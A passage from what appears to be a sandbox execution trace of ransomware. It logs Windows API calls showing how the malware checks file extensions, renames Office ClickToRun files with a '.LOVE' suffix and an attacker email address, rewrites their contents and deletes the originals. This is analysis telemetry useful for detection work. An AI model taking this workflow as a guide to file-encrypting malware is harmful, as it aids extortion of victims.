4 [0213.026] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.026] lstrlenW (lpString=".bz2") returned 4 [0213.026] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.026] lstrlenW (lpString=".7z") returned 3 [0213.026] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0213.026] lstrlenW (lpString=".dbf") returned 4 [0213.026] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0213.026] lstrlenW (lpString=".1cd") returned 4 [0213.026] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0213.026] lstrlenW (lpString=".jpg") returned 4 [0213.026] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0213.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0213.026] lstrlenW (lpString=".doc") returned 4 [0213.026] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.026] lstrlenW (lpString=".docx") returned 5 [0213.026] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0213.026] lstrlenW (lpString=".pdf") returned 4 [0213.026] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.026] lstrlenW (lpString=".xls") returned 4 [0213.026] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.026] lstrlenW (lpString=".xlsx") returned 5 [0213.027] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0213.027] lstrlenW (lpString=".ppt") returned 4 [0213.027] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0213.027] lstrlenW (lpString=".zip") returned 4 [0213.027] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.027] lstrlenW (lpString=".rar") returned 4 [0213.027] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.027] lstrlenW (lpString=".bz2") returned 4 [0213.027] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.027] lstrlenW (lpString=".7z") returned 3 [0213.027] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0213.027] lstrlenW (lpString=".dbf") returned 4 [0213.027] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0213.027] lstrlenW (lpString=".1cd") returned 4 [0213.027] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0213.027] lstrlenW (lpString=".jpg") returned 4 [0213.027] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.027] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0213.027] lstrlenW (lpString="mso40uires.dll") returned 14 [0213.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0213.028] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=3177152) returned 1 [0213.028] CloseHandle (hObject=0x2cc) returned 1 [0213.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0x20 [0213.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0213.028] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 1 [0213.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0213.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[seeyoubro@tutanota.com].love"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 1 [0213.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0213.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0213.030] lstrlenW (lpString=".doc") returned 4 [0213.030] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.030] lstrlenW (lpString=".docx") returned 5 [0213.030] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0213.030] lstrlenW (lpString=".pdf") returned 4 [0213.030] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.030] lstrlenW (lpString=".xls") returned 4 [0213.030] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.030] lstrlenW (lpString=".xlsx") returned 5 [0213.030] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0213.030] lstrlenW (lpString=".ppt") returned 4 [0213.030] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0213.030] lstrlenW (lpString=".zip") returned 4 [0213.030] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.030] lstrlenW (lpString=".rar") returned 4 [0213.030] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.030] lstrlenW (lpString=".bz2") returned 4 [0213.030] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.030] lstrlenW (lpString=".7z") returned 3 [0213.030] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0213.030] lstrlenW (lpString=".dbf") returned 4 [0213.030] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0213.030] lstrlenW (lpString=".1cd") returned 4 [0213.030] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0213.030] lstrlenW (lpString=".jpg") returned 4 [0213.030] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.031] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 1 [0213.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0213.032] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[seeyoubro@tutanota.com].love"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 1 [0213.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0213.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0213.033] lstrlenW (lpString=".doc") returned 4 [0213.033] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.033] lstrlenW (lpString=".docx") returned 5 [0213.033] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0213.033] lstrlenW (lpString=".pdf") returned 4 [0213.033] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.033] lstrlenW (lpString=".xls") returned 4 [0213.033] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.033] lstrlenW (lpString=".xlsx") returned 5 [0213.033] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0213.033] lstrlenW (lpString=".ppt") returned 4 [0213.033] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0213.033] lstrlenW (lpString=".zip") returned 4 [0213.033] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.034] lstrlenW (lpString=".rar") returned 4 [0213.034] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.034] lstrlenW (lpString=".bz2") returned 4 [0213.034] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.034] lstrlenW (lpString=".7z") returned 3 [0213.034] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0213.034] lstrlenW (lpString=".dbf") returned 4 [0213.034] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0213.034] lstrlenW (lpString=".1cd") returned 4 [0213.034] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0213.034] lstrlenW (lpString=".jpg") returned 4 [0213.034] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.034] GetLastError () returned 0x0 [0213.034] ReadFile (in: hFile=0x2cc, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0xee60, lpOverlapped=0x0) returned 1 [0213.246] WriteFile (in: hFile=0x320, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xee70, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xee70, lpOverlapped=0x0) returned 1 [0213.247] ReadFile (in: hFile=0x2cc, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0213.248] WriteFile (in: hFile=0x320, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xfa, lpOverlapped=0x0) returned 1 [0213.248] SetEndOfFile (hFile=0x320) returned 1 [0213.248] CloseHandle (hObject=0x320) returned 1 [0213.248] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.248] SetEndOfFile (hFile=0x2cc) returned 1 [0213.249] CloseHandle (hObject=0x2cc) returned 1 [0213.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0213.250] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 1 [0213.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0213.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0213.250] lstrlenW (lpString=".doc") returned 4 [0213.250] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.250] lstrlenW (lpString=".docx") returned 5 [0213.250] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0213.250] lstrlenW (lpString=".pdf") returned 4 [0213.250] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.250] lstrlenW (lpString=".xls") returned 4 [0213.250] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.250] lstrlenW (lpString=".xlsx") returned 5 [0213.251] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0213.251] lstrlenW (lpString=".ppt") returned 4 [0213.251] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0213.251] lstrlenW (lpString=".zip") returned 4 [0213.251] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.251] lstrlenW (lpString=".rar") returned 4 [0213.251] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.251] lstrlenW (lpString=".bz2") returned 4 [0213.251] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.251] lstrlenW (lpString=".7z") returned 3 [0213.251] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0213.251] lstrlenW (lpString=".dbf") returned 4 [0213.251] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0213.251] lstrlenW (lpString=".1cd") returned 4 [0213.251] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0213.251] lstrlenW (lpString=".jpg") returned 4 [0213.251] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.251] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[seeyoubro@tutanota.com].love")) returned 1 [0213.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0213.256] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[seeyoubro@tutanota.com].love"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 1 [0213.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0213.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0213.257] lstrlenW (lpString=".doc") returned 4 [0213.257] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0213.257] lstrlenW (lpString=".docx") returned 5 [0213.257] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0213.257] lstrlenW (lpString=".pdf") returned 4 [0213.257] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0213.257] lstrlenW (lpString=".xls") returned 4 [0213.257] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0213.257] lstrlenW (lpString=".xlsx") returned 5 [0213.257] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0213.257] lstrlenW (lpString=".ppt") returned 4 [0213.257] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0213.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0213.257] lstrlenW (lpString=".zip") returned 4 [0213.257] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0213.257] lstrlenW (lpString=".rar") returned 4 [0213.257] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0213.257] lstrlenW (lpString=".bz2") returned 4 [0213.257] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0213.258] lstrlenW (lpString=".7z") returned 3 [0213.258] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0213.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0213.258] lstrlenW (lpString=".dbf") returned 4 [0213.258] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0213.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0213.258] lstrlenW (lpString=".1cd") returned 4 [0213.258] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0213.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0213.258] lstrlenW (lpString=".jpg") returned 4 [0213.258] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0217.435] GetLastError () [0217.435] GetLastError () returned 0x0 [0217.435] ReadFile (in: hFile=0x364, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0xefec0, lpOverlapped=0x0) returned 1 [0217.653] WriteFile (in: hFile=0x300, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xefed0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xefed0, lpOverlapped=0x0) returned 1 [0217.677] ReadFile (in: hFile=0x364, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.677] WriteFile (in: hFile=0x300, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0217.677] SetEndOfFile (hFile=0x300) returned 1 [0217.678] CloseHandle (hObject=0x300) returned 1 [0217.678] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.678] SetEndOfFile (hFile=0x364) returned 1 [0217.739] CloseHandle (hObject=0x364) returned 1 [0217.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0217.739] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 1 [0217.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0217.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0217.740] lstrlenW (lpString=".doc") returned 4 [0217.740] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0217.740] lstrlenW (lpString=".docx") returned 5 [0217.740] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0217.740] lstrlenW (lpString=".pdf") returned 4 [0217.740] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0217.740] lstrlenW (lpString=".xls") returned 4 [0217.740] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0217.740] lstrlenW (lpString=".xlsx") returned 5 [0217.740] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0217.740] lstrlenW (lpString=".ppt") returned 4 [0217.740] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0217.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0217.740] lstrlenW (lpString=".zip") returned 4 [0217.740] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0217.740] lstrlenW (lpString=".rar") returned 4 [0217.740] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0217.740] lstrlenW (lpString=".bz2") returned 4 [0217.740] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0217.740] lstrlenW (lpString=".7z") returned 3 [0217.740] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0217.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0217.740] lstrlenW (lpString=".dbf") returned 4 [0217.740] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0217.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0217.740] lstrlenW (lpString=".1cd") returned 4 [0217.740] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0217.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0217.740] lstrlenW (lpString=".jpg") returned 4 [0217.740] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0219.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0 [0219.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0219.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0219.277] lstrlenW (lpString=".doc") returned 4 [0219.277] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0219.277] lstrlenW (lpString=".docx") returned 5 [0219.277] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0219.277] lstrlenW (lpString=".pdf") returned 4 [0219.277] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0219.277] lstrlenW (lpString=".xls") returned 4 [0219.277] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0219.277] lstrlenW (lpString=".xlsx") returned 5 [0219.277] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0219.277] lstrlenW (lpString=".ppt") returned 4 [0219.278] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0219.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0219.278] lstrlenW (lpString=".zip") returned 4 [0219.278] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0219.278] lstrlenW (lpString=".rar") returned 4 [0219.278] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0219.278] lstrlenW (lpString=".bz2") returned 4 [0219.278] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0219.278] lstrlenW (lpString=".7z") returned 3 [0219.278] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0219.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0219.278] lstrlenW (lpString=".dbf") returned 4 [0219.278] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0219.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0219.278] lstrlenW (lpString=".1cd") returned 4 [0219.278] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0219.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0219.278] lstrlenW (lpString=".jpg") returned 4 [0219.278] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0220.197] GetLastError () returned 0x0 [0220.197] ReadFile (in: hFile=0x368, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x902bb, 